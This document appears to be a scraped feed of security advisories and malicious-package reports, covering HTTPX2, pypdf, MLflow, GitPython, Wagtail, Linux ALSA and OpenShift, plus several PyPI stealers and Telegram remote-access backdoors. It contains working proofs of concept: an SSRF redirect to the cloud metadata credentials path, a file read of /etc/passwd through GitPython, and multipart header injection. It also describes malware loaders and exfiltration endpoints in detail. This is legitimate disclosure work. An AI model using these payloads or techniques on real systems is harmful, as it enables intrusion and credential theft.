Search: com.py

### Summary HTTPX2 serializes the per-file `Content-Type` and custom headers supplied through the `files=` tuple API directly into the `multipart/form-data` body without validating custom header names or values. An attacker who can influence upload metadata passed to HTTPX2 can use CR or LF characters to terminate a multipart part header and inject additional part headers or end the part header block early. ### Details The three-element file tuple accepts `(filename, content, content_type)`, and the four-element form accepts `(filename, content, content_type, headers)`. `FileField.render_headers()` interpolates the supplied header names and values between CRLF delimiters without validating them. For example: ```python import httpx2 request = httpx2.Request( "POST", "https://example.com/upload", headers={"Content-Type": "multipart/form-data; boundary=BOUNDARY"}, files={ "file": ( "safe.txt", b"payload", "text/plain\r\nX-Injected: true", ) }, ) print(request.read().decode()) ``` The generated body contains an attacker-injected part header: ```text --BOUNDARY Content-Disposition: form-data; name="file"; filename="safe.txt" Content-Type: text/plain X-Injected: true payload --BOUNDARY-- ``` The same issue affects names and values in the custom header mapping from the four-element tuple. Field names and filenames are serialized through a separate escaping path and do not permit CRLF header injection. ### Impact Applications are affected when they pass attacker-controlled upload metadata into the per-file `content_type` or custom `headers` arguments. The receiving server interprets injected lines as genuine multipart part headers. Depending on how that server validates and processes uploads, this can alter part semantics or bypass checks based on part headers. This does not split the outer HTTP request: the injected headers are contained within the multipart body. The concrete security impact therefore depends on the downstream multipart parser and application behavior. ### Mitigation Upgrade to HTTPX2 `2.11.0` or later. Patched versions reject forbidden control characters in multipart part header names and values and raise `ValueError` before serializing the request. If upgrading is not immediately possible, applications should validate custom multipart header names as HTTP field-name tokens. They should reject NUL, CR, LF, other C0 controls except horizontal tab, and DEL in per-file content types and custom header values before passing them to HTTPX2.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires a (usually writing) code path where `TreeObject.insert_child` is involved. ### Patches This has been fixed in [pypdf==6.16.0](https://github.com/py-pdf/pypdf/releases/tag/6.16.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3964](https://github.com/py-pdf/pypdf/pull/3964).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires accessing the outlines of a document with either lots of entries or nested outlines with long re-used nesting paths. ### Patches This has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires extracting the text of a page with lots of XForm objects, where some of them might be re-used. ### Patches This has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d10f01e2954dde5faac23074d02bb989f22d0dcb78be82c1c4417531fef8b859) The package ships a bundled Node script pyservercheck/js/main.js whose visible top half is a healthcheck stub matching the README, followed by a long run of tab whitespace and a trailing eval(atob('...')) that decodes to a two-stage loader. The decoded loader queries public Ethereum RPC endpoints (eth.blockscout.com, 1rpc.io/eth, eth.drpc.org, ethereum-rpc.publicnode.com, eth-mainnet.public.blastapi.io) for the latest transaction from the hardcoded sender 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a, extracts an IPv4 pair from the tx `to` field, fetches XOR-obfuscated stage-2 code from http://<decoded-ip>:443/0x/cls and /0x/ls, eval()s it, and re-launches it via a detached `spawn('node', ['-e', <code>])`. Execution is wired to two auto-triggers: pyproject.toml overrides setuptools `build_py` and `develop` with pyservercheck._setup_cmd.BuildPy/Develop, whose `run()` calls _run_main_js_now() -> subprocess.run(['node', main.js]) during `pip install` / `pip install -e.`; and BuildPy also writes a `pyservercheck.pth` file containing `import pyservercheck._hooks; pyservercheck._hooks.ensure_once()`, which Python auto-executes at every interpreter startup, invoking run_js() again. The `.main_js_ran` marker is advisory and can be removed to force re-execution. The C2 destination is rotatable by publishing a new Ethereum transaction from the sender address, so the fetched payload is fully attacker-controlled at each run. ## Source: kam193 (4b365b9df06973db4f112bdbf2ad704dcc91c1b7b3eaceddb06a8e884c3f760a) Package embeds obfuscated, JS-based malware downloading further remote stages. The code is triggered during building the package and on every Python startup (via PTH file). The next-stage IP is delivered via a blockchain. The payload and embedded IoCs are consistent with campaigns attributed to Lazarus APT/PolinRider. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-pybitjs Reasons (based on the campaign): - obfuscation - Downloads and executes a remote malicious script. - malware - abuses-pth - c2-in-blockchain

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3e2d548769641b2114a424739448d9df85d67cc176e694c6ff34ede446082b76) This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 (Ethereum) and transmits the resulting privateKey, publicKey and chainCode to a hardcoded remote endpoint at https://chainvista-api.onrender.com/api. Exfiltration fires on the `connect` RPC handler (POST to /register) and on a snap-manifest cronjob scheduled every 5 minutes (`*/5 * * * *`) invoking a `sync` method that re-derives entropy and POSTs the key material to /sync. The `sync` response contains an `instructions` array of {chainId,to,value,data,gas} entries that the snap signs and broadcasts with the derived key across EVM chains, giving the remote party arbitrary control of fund movement from the victim's wallet. The `onRpcRequest` handler additionally exposes a `get_evm_key` method with no origin allowlist that returns the raw privateKey, publicKey and chainCode to any caller. A code comment self-identifies the destination as a `drainer backend`. ## Source: ghsa-malware (0888334d7b507e01f9f1b86841261daf6b5acd2b599fb0af487d99c26d3acb2a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix OOB write on Type II inbound URBs data_ep_set_params() sizes each URB transfer buffer before it adds the Format Type II transfer delimiter: u->packets = urb_packs; u->buffer_size = maxsize * u->packets; if (fmt->fmt_type == UAC_FORMAT_TYPE_II) u->packets++; /* for transfer delimiter */ u->urb = usb_alloc_urb(u->packets, GFP_KERNEL); buffer_size is computed from the pre-increment packet count and never recomputed, so for a Type II endpoint the buffer is one packet short of the packet count the URB is built with. prepare_inbound_urb() then lays out one iso frame per packet and never consults buffer_size: offs = 0; for (i = 0; i < urb_ctx->packets; i++) { urb->iso_frame_desc[i].offset = offs; urb->iso_frame_desc[i].length = ep->curpacksize; offs += ep->curpacksize; } urb->transfer_buffer_length = offs; urb->number_of_packets = urb_ctx->packets; The last descriptor therefore points one packet past the end of the transfer buffer, where the host controller writes device data on every inbound transfer. prepare_silent_urb() and prepare_playback_urb() bound their fill loops by ctx->buffer_size, so only capture is affected. fmt_type comes from the device's audio streaming descriptors, so any device advertising a Type II capture format hits this once userspace sets hw_params on the stream. KASAN on 7.2.0-rc5 (arm64) with a dummy_hcd/raw-gadget device, one report per inbound transfer: BUG: KASAN: slab-out-of-bounds in dummy_timer Write of size 64 at addr ffff0000186171c0 by task cons02/166 __asan_memcpy dummy_timer hrtimer_run_softirq Allocated by task 166: usb_alloc_coherent snd_usb_endpoint_set_params The buggy address is located 0 bytes to the right of allocated 64-byte region [ffff000018617180, ffff0000186171c0) Compute buffer_size after the delimiter packet has been accounted for, and bound the fill loop by buffer_size, as prepare_silent_urb() already does on the outbound side. This grows every Type II URB allocation by one maxsize packet. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>

In the Linux kernel, the following vulnerability has been resolved: ALSA: us144mkii: re-anchor capture URBs on resubmission capture_urb_complete() resubmits each capture URB without anchoring it: usb_get_urb(urb); ret = usb_submit_urb(urb, GFP_ATOMIC); Anchoring is a property of a submission, not of the URB. The giveback path calls usb_unanchor_urb() before urb->complete(), so an URB resubmitted from its own completion handler is off the anchor. The capture URBs are anchored once, at stream start, so from the first completion onward tascam->capture_anchor is empty. tascam_free_urbs(), tascam_disconnect(), tascam_suspend() and the stop-work path all call usb_kill_anchored_urbs(&tascam->capture_anchor) to reap the capture URBs before anything is freed. With the anchor empty those calls return immediately and the URBs stay queued on the host controller. tascam_free_urbs() then returns the capture transfer buffers with usb_free_coherent(), and snd_card_free() releases the snd_card allocation that embeds tascam (card->private_data). The controller completes the queued URBs afterwards, writing device-supplied data into the freed transfer buffer, and capture_urb_complete() dereferences the freed driver object. KASAN on 7.2.0-rc5 (arm64): BUG: KASAN: slab-use-after-free in dummy_timer Write of size 512 at addr ffff000015b62000 __asan_memcpy dummy_timer hrtimer_run_softirq Allocated by task 64: usb_alloc_coherent tascam_alloc_urbs tascam_probe Freed by task 170: usb_free_coherent tascam_free_urbs tascam_disconnect usb_unbind_interface BUG: KASAN: slab-use-after-free in capture_urb_complete Read of size 4 at addr ffff0000170ee878 Freed by task 170: release_card_device snd_card_free tascam_disconnect Restore the usb_anchor_urb() between the reference count bump and the resubmission. That also makes the handler's usb_unanchor_urb() failure arm meaningful again and restores usb_kill_anchored_urbs() as a barrier on the disconnect, suspend and stop-work paths. The anchoring was removed on the premise that the URB is already anchored from the initial submission, which does not hold once the first giveback has run. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>

Joomla Extension - j2commerce.com - Cross-customer order replication in J2Store 1.0.0-3.3.20, 4.0.0-4.0.20, 4.1.0-4.1.5 - An authenticated user could supply another customer's order_id to copy their cart contents and address data into the attacker's session. The CSRF token was validated but ownership was not checked.

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a

### Impact A CMS user with the "submit translations" permission, could use the Admin API's "copy for translation" endpoint to copy an existing page that they do not have edit access to, allowing them to view its contents. ### Patches Patched versions have been released as Wagtail 7.0.9, 7.3.4, 7.4.3 and 8.0rc2. ### Workarounds N/A ### Acknowledgements Many thanks to tinyb0y for reporting this issue. ### For more information If you have any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6808b9ae619e6cf9fdb59b52305e25b8e2fdb87167fbd78fae0ca6c1c07a5f1a) On import, deepface-weight spawns a daemon background thread that polls the installer's working directory for `data/telethon_market_userbot.session` for approximately 10 minutes and POSTs the file to a hardcoded webhook.site endpoint (https://webhook.site/d6ea9c5b-4a85-4e59-9397-2bb5f9407c87). Telethon session files contain live authentication material granting full access to the associated Telegram account. The exfiltration destination is bound to a variable literally named `evil_server_url` with a Russian-language comment identifying it as the attacker's server. The package name mimics the popular `deepface` ML library but ships no machine-learning code; author metadata is a placeholder (`asdqwdasdqwdasd`) with a disposable email at playboot.com. ## Source: kam193 (92f87cc2da145e4ab765c912a3a9cfb36ed6e8d21231fd511aa032edcd4b3e2b) During import, package exfiltrates the sensitive file with the Telegram session token. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-deepface-weights Reasons (based on the campaign): - files-exfiltration - target:telegram

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9c1cf8a0f273b75a4cf2b66c9b9fc351023b9f77d61e82c74d74534424ce0558) On import, deepface_weights starts a daemon thread that polls every 10 seconds for the file `data/telethon_market_userbot.session` in the current working directory. When found, it POSTs the session file together with the local `os.getlogin()` value to the hardcoded endpoint https://webhook.site/730d2d03-5c78-4e0a-88df-9d8466b7e8aa. A Telethon `.session` file holds authenticated Telegram credentials, so exfiltration enables full takeover of the associated Telegram account. Package metadata is placeholder (author email `rozuvu@example.com`, description `Minimal example Python package`) and the name resembles the unrelated `deepface` face-recognition library, but the package ships none of that functionality — the stealer is its only behavior. Source comments in Russian label the destination as the attacker's server. ## Source: kam193 (a9b6a1255b998e6497198b80ffff88e0612a2d839c6f1b9859664436f96e5fce) During import, package exfiltrates the sensitive file with the Telegram session token. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-deepface-weights Reasons (based on the campaign): - files-exfiltration - target:telegram

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (08547edeec8e522d84b40fd8236878da54c888ede86588be3913a1c37cd2b245) infogram-bot@1.6.0 implements a Telegram bot that accepts text messages from remote parties and passes them directly to subprocess.check_output(cmd, shell=True,...) on the host running the package, giving any authorized Telegram user (and, for the.sh command, any member of a group chat) arbitrary shell command execution with the privileges of the process. Additional handlers expose 'get all' (walks the working directory, zips it, and uploads all files in 50MB chunks via reply_document), 'take <file>' / 'tk a' (streams any requested file or all files under the cwd back to the Telegram chat), '.printenv' (iterates os.environ and sends every environment variable value to the chat), and '.grep' (greps environment values and files for arbitrary substrings and returns matches). Together these provide a full remote-shell backdoor plus a data-exfiltration channel to a destination the host owner did not configure at runtime. pyproject.toml also ships placeholder maintainer metadata (author 'Aapka Naam' / you@example.com, Homepage containing the literal 'YOUR_GITHUB_USERNAME'), consistent with low-attribution publication. ## Source: kam193 (454fa32963f58275e35167d59dd581240725e099682e76e44b6fca7b22332cb0) The package provides Telegram-based remote access to the machine it runs on. It was deliberately created and used to hack other machines, exfiltrate files and credentials. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-httpz-requests Reasons (based on the campaign): - files-exfiltration - rat - persistence - uses-telegram-bot - obfuscation - native-extension

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (004770b4da0c6705f95ef2c8654fd81d37650ffacaad7160041bded02cdb7fbc) httpz-requests exposes a Telegram bot (`start_bot`, `run_cmd_enc`, `http_request`) whose message handler executes arbitrary shell commands on the host running the package, granting a remote Telegram operator full command execution under the installer's user account. Documented remote commands include arbitrary shell execution (`chalao`, `.sh <command>`, `.py <file>`, `.exec <file>`), destructive filesystem operations (`rm -rf <path>`), single- and bulk-file exfiltration (`take <file>`, `take all`), a full-host backup mode that produces split 50MB archives with `.partNNN` chunking (`get all`), and environment-variable dumping (`.printenv`) — collectively enabling remote theft of filesystem contents and process-environment secrets (cloud, CI, and API credentials). The package is shipped only as compiled Cython `.so` files with no Python source, and self-describes obfuscation features that XOR+base64-encode command strings and disguise execution as `http_request("POST",...)` so plaintext commands do not appear in `ps` or system logs; the Telegram bot token is stored encoded and decoded at runtime by `dec()`. The distribution name `httpz-requests` and import name `httpz_requests` resemble the top-100 PyPI package `requests` while presenting a Telegram remote-shell API instead of an HTTP client, and metadata is unfilled boilerplate (author `Aapka Naam <you@example.com>`, homepage `https://github.com/YOUR_GITHUB_USERNAME/httpz-requests`). ## Source: kam193 (38eff923106836997e28de6d7173a1553da126be230b341fe64f0c4c215769a2) The package provides Telegram-based remote access to the machine it runs on. It was deliberately created and used to hack other machines, exfiltrate files and credentials. This package automatically ensures persistence and starts a malicious process on import. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-httpz-requests Reasons (based on the campaign): - files-exfiltration - rat - persistence - uses-telegram-bot - obfuscation - native-extension

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.22.10. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:54768 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/release_notes/ Security Fix(es): * kernel: xen: AMD Zen 2 Processors: Privilege escalation via improper CPU cache isolation (CVE-2025-54518) * samba: Missing access check on reparse point operations (CVE-2026-1933) * sssd: sssd: sudo LDAP provider searches entire directory tree for sudoRole objects by default, enabling privilege escalation (CVE-2026-14474) * sg3_utils: sg3_utils: arbitrary command execution via udev property injection in sg_inq --export (CVE-2026-16313) * rsync: TOCTOU symlink race condition allowing local privilege escalation in daemon mode without chroot. (CVE-2026-29518) * unbound: Unbound: Denial of Service via excessive EDNS options (CVE-2026-41292) * vim: Vim: Arbitrary Code Execution via crafted directory names (CVE-2026-47162) * vim: Vim: Arbitrary code execution via crafted step-definition patterns (CVE-2026-47167) * vim: Vim: Arbitrary code execution via Python omni-completion (CVE-2026-52858) * acl: Symlink traversal privilege escalation via libacl functions (CVE-2026-54369) * vim: Vim: Arbitrary code execution via malicious docstrings in Python omni-completion (CVE-2026-57456) * openssh: OpenSSH: Use-after-free vulnerability during host key re-exchange on the client side (CVE-2026-60002) * kernel: KVM: x86: Don't (re)check L1 intercepts when completing userspace I/O (CVE-2025-40026) * libarchive: Double-Free Vulnerability in RAR5 Decompression Logic via dangling filtered_buf pointer in init_unpack() (CVE-2026-14164) * sssd: sssd: GPO cache path traversal via unsanitized gPCFileSysPath allows Kerberos authentication bypass (CVE-2026-14476) * unbound: Unbound: Cache manipulation via 'ghost domain names' attack (CVE-2026-40622) * vim: Vim: Out-of-bounds Write in Spell File Word Count (CVE-2026-55693) * vim: Vim: Denial of Service via stack out-of-bounds write in spell_soundfold_sofo() (CVE-2026-57455) * vim: Vim: Arbitrary code execution via crafted PHP file in omni-completion (CVE-2026-59856) * vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion (CVE-2026-59858) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli.